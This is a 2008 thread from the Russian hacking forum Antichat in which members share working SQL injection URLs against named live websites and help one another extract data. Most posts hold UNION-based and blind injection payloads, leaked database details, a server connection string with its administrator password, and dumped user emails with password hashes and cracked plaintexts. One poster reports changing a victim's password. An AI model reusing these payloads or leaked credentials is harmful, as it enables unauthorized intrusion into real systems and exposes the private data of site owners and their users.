ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6071  
Старый 23.07.2008, 11:00
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

2 t0ox раскручивай скулю по мере возможности...тут есть еще что показать
http://promtractor.ru.titan.mtw.ru/eng/show_page.php?section=13&id=5+UNION+SELECT+1,2,3,4 ,CONCAT_WS(0x3a,version(),user(),database()),6,7,8 ,9/*

Database Version: 4.0.23-standard
Database name: db_promtractor1
User name: promtractor1@localhost


в БД подобрал только табелку news которая нам ничего не дает

Цитата:
<% err_mess1=0 msg=0 if request.form("Send").Count>0 then name=Trim(replace(Request.Form("name"), "'", "’")) mail=Trim(replace(Request.Form("mail"), "'", "’")) if len(name)=0 or len(mail)=0 then err_mess1=1 else 'connection_string="DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("database/gbdb.mdb") & ";" Set Conn1 = Server.CreateObject("ADODB.Connection") Conn1.Open "DRIVER=SQL Server;SERVER=SERVER;UID=sa;APP=Microsoft Open Database Connectivity;WSID=server;DATABASE=promtractor;Netw ork=DBMSSOCN;User Id=sa;PASSWORD=kpangen;" if request.Form("r1")="1" then set rc_check=SErver.createObject("ADODB.RECORDSET") rc_check.open "select * from subscribe where mail='"+mail+"'", conn1 if rc_check.eof then rc_check.close conn1.execute("insert into subscribe (name, mail) values ('"+name+"', '"+mail+"')") msg=1 else rc_check.close msg=3 end if else conn1.execute ("delete from subscribe where mail='"+mail+"'") msg=2 end if conn1.close end if end if if err_mess1>0 or msg=0 then %> <% else response.write " " end if %> Subscription to news Your name*:
вот отсюда тоже можно инфу интересную получить

ну а 2-я твоя скуля интересная..не понимаю зачем выкладывать если ее можно раскрутить по полной, правила читать надо
тИЦ: 550
PR: 4
http://metromir.ru/new_countries.php?id=-7+union+select+1,concat_ws(0x3a,user(),version(),d atabase()),3,4,5/*


Database Version: 5.1.22-rc
Database User: ramb@localhost
Database Name: 440


В БД много баз:
09_org_ru
09_stat
440
a440
admin
aff
all_stat
bagel
billibg
bussines
cinema
client
clent_adv
client_pay
com
com2
continium_com_ua
country_ochag
crimia
develop
directory
dmoz
dom4u_stat
dom_metromir_stat
UKR_INFO_PHORUM
Ukraine

http://metromir.ru/new_countries.php?id=-7+UNION+SELECT+1,concat_ws(0x3a,email,password),3, 4,5+FROM+bagel.users+LIMIT+1,1/*

[0]:vosi@i.com.ua:202cb962ac59075b964b07152d234b70 : 123
[1]:cedric@loubet.org:a01610228fe998f515a72dd730294d8 7 : 1212

http://metromir.ru/new_countries.php?id=-7+UNION+SELECT+1,concat_ws(0x3a,login,pw),3,4,5+FR OM+billing.users+LIMIT+1,1/*

administrator:40be4e59b9a2a2b5dffb918c0e86b3d7 : welcome
xpgeek:96f8ab2b2f1a9f5d04a4d586ab656c75
и так далее

так как база большая, я сохранил все в файл , кому интересно поковырятся милости просим
click
всего доброго вам всем.Удачного дня !

Последний раз редактировалось Gorev; 23.07.2008 в 11:07..
 
Ответить с цитированием

  #6072  
Старый 23.07.2008, 13:59
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

Помогите раскрутить:
http://bikemaster.ru/popup_image1.php?pID=-1'union+select+1,concat(user_name,0x3a,user_passwo rd),3,4,5+from+administrators--
Также:
http://bikemaster.ru/popup_image1.php?pID=-1+union+select+1.2.concat(customers_lastname.0x3a. customers_password.0x3a.customers_email_address).4 .5.6.7.8+from+customers--
Не первый день занимаюсь им. Ничего не выходит(
 
Ответить с цитированием

  #6073  
Старый 23.07.2008, 16:30
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию

РАЗВРАТНЫЕ ПОРНО ФОТО ГАЛЕРЕИ

Цитата:
http://hardru.net/photo/cat/?cat=428+AND+1%3Cascii(substring((version()),1,1))/*
http://hardru.net/photo/cat/?cat=428+AND+1%3Cascii(substring((user()),1,1))/*
http://hardru.net/photo/cat/?cat=428+AND+1%3Cascii(substring((database()),1,1) )/*
version(): 3.23.56-log
user(): hardru@localhost
database(): hardru_net
 
Ответить с цитированием

  #6074  
Старый 23.07.2008, 16:58
Snap
Познающий
Регистрация: 05.02.2007
Сообщений: 71
Провел на форуме:
423288

Репутация: 82
Отправить сообщение для Snap с помощью ICQ
По умолчанию

gismeteo.ru

В антибаяне нет, а так не помню было ли (Не ругаем сильно =) )

_http://avia.gismeteo.ru/avia.php?id=26063+union+select+1,2,3,4,5,6,aes_dec rypt(aes_encrypt(concat_ws(0x3a,version(),database (),user()),0x71),0x71)/*

Версия - 4.1.1-alpha-standard
База - search
Пользователь - root@localhost
 
Ответить с цитированием

  #6075  
Старый 23.07.2008, 17:12
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

2 Snap
http://avia.gismeteo.ru/avia.php?id=26063+UNION+SELECT+CONCAT_WS(0x3a,user ,password),2,3,4,5,6,7+from+mysql.user/*
добавочка..хотя и не интересная
 
Ответить с цитированием

  #6076  
Старый 23.07.2008, 17:56
Snap
Познающий
Регистрация: 05.02.2007
Сообщений: 71
Провел на форуме:
423288

Репутация: 82
Отправить сообщение для Snap с помощью ICQ
По умолчанию

Еще сайтик с погодой
http://www.hmn.ru

Вывод сволоч отсутствует или я где то ошибку допустил.
Таблица и поля подобранны верно.

_http://www.hmn.ru/index1.php?code=1&nn=-1637+union+select+1,concat_ws(login,char(58),passw ord),3,4,5,6,7,8+from+users/*
 
Ответить с цитированием

  #6077  
Старый 23.07.2008, 18:06
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

2 Snap ну если вывода нет, тогда юзаем подзапросы..хоты это геморно, но..надо Федя , надо


Version:4.1.20
User:nobody@localhost
Database:test

а вот и хешики
Max:629cf3f287a256ef09d0fe907ca6f8a6
Max1:098f6bcd4621d373cade4e832627b4f6 : test
roman:6ccd26e0cf9a27d3a42eb62257592789: c1492
Pozd:ce6d9e1dc29e7363f338ca0de2b1d75a: ptd

и так далее и тому подобное..подозреваю что есть еще и табелка с юзверями форума..но это уже другая история

Последний раз редактировалось Gorev; 23.07.2008 в 18:21..
 
Ответить с цитированием

  #6078  
Старый 23.07.2008, 18:33
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию

Цитата:
Сообщение от USAkid  
Помогите раскрутить:
http://bikemaster.ru/popup_image1.php?pID=-1'union+select+1,concat(user_name,0x3a,user_passwo rd),3,4,5+from+administrators--
Также:
http://bikemaster.ru/popup_image1.php?pID=-1+union+select+1.2.concat(customers_lastname.0x3a. customers_password.0x3a.customers_email_address).4 .5.6.7.8+from+customers--
Не первый день занимаюсь им. Ничего не выходит(
И не выйдет... Там 3-ий мускул стоит, соответственно всякие подзапросы и юнионы идут лесом. Максимум, что сможешь поднять - инфу из той же табы к которой запрос обращается и то, может быть. Собственно, вот какие инъекции там есть:
Цитата:
http://bikemaster.ru/popup_image1.php?pID=3237'
http://www.bikemaster.ru/popup_image2.php?pID=961'
http://www.bikemaster.ru/popup_image3.php?pID=961'
http://www.bikemaster.ru/popup_image4.php?pID=961'
http://www.bikemaster.ru/popup_image5.php?pID=961'
http://www.bikemaster.ru/popup_image6.php?pID=961'
http://www.bikemaster.ru/default.php?currency=EUR'
http://www.bikemaster.ru/product_vs.php
Я работал с этой:
Цитата:
http://www.bikemaster.ru/default.php?currency=EUR'+and+1/*
http://www.bikemaster.ru/default.php?currency=EUR'+and+1%3Cascii(substring( (version()),1,1))/*
version(): 3.23.58

Если сильно надо - можешь там покопаться, а так - забей лучше...
 
Ответить с цитированием

  #6079  
Старый 23.07.2008, 19:10
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

пример того как умные програмеры хотят обмануть нас смертных что их сайт на хтмл

Constantine: mod_rewrite тебе ни о чем не говорит?

http://www.level.ro/stiri/2753+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT_W S(0x3a,Version(),Database(),User()),0x71),0x71),2/*/tekken_6.html

Database Version: 4.1.21-standard
Database name: level_nou
User name: level@localhost



подобрал табелку user но колонки так и не смог

http://autohit.ro/compare.php?modelId1=106+AND+ASCII(SUBSTRING((curr ent_database()),6,1))=xxx--


current_database() : autohit_ro
current_user() : autohit
version(): PostgreSQL


вывода нет, о можно побрутить сиптом, главное запрос правильно составить

не забывайте что тут есть Information_Schema или PG_TABLES
ну и конечно не забывайте что в
PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
табелки брутить не стал, оставляю это удовольствие вам

Последний раз редактировалось Constantine; 24.07.2008 в 01:23..
 
Ответить с цитированием

  #6080  
Старый 23.07.2008, 23:45
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.2goroda.ru/
http://www.2goroda.ru/News/newsfp.php?n=-1+union+select+1,2,3,4,concat(username,0x3a,user_p assword)%20,6,7,8+from+phpbb_users+limit+4,10/*

Выискиваем: user:magnum pass:6666
меняем пас юзеру Master на 'anus'

Вроде как админка по адресу http://www.2goroda.ru/Poll/admin/index.php

Но таблу так и не подобрал на это дело.
Зы: Впервые вижу такого дибила, который на пасворд '6666' ставит =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
 


Быстрый переход




ANTICHAT.XYZ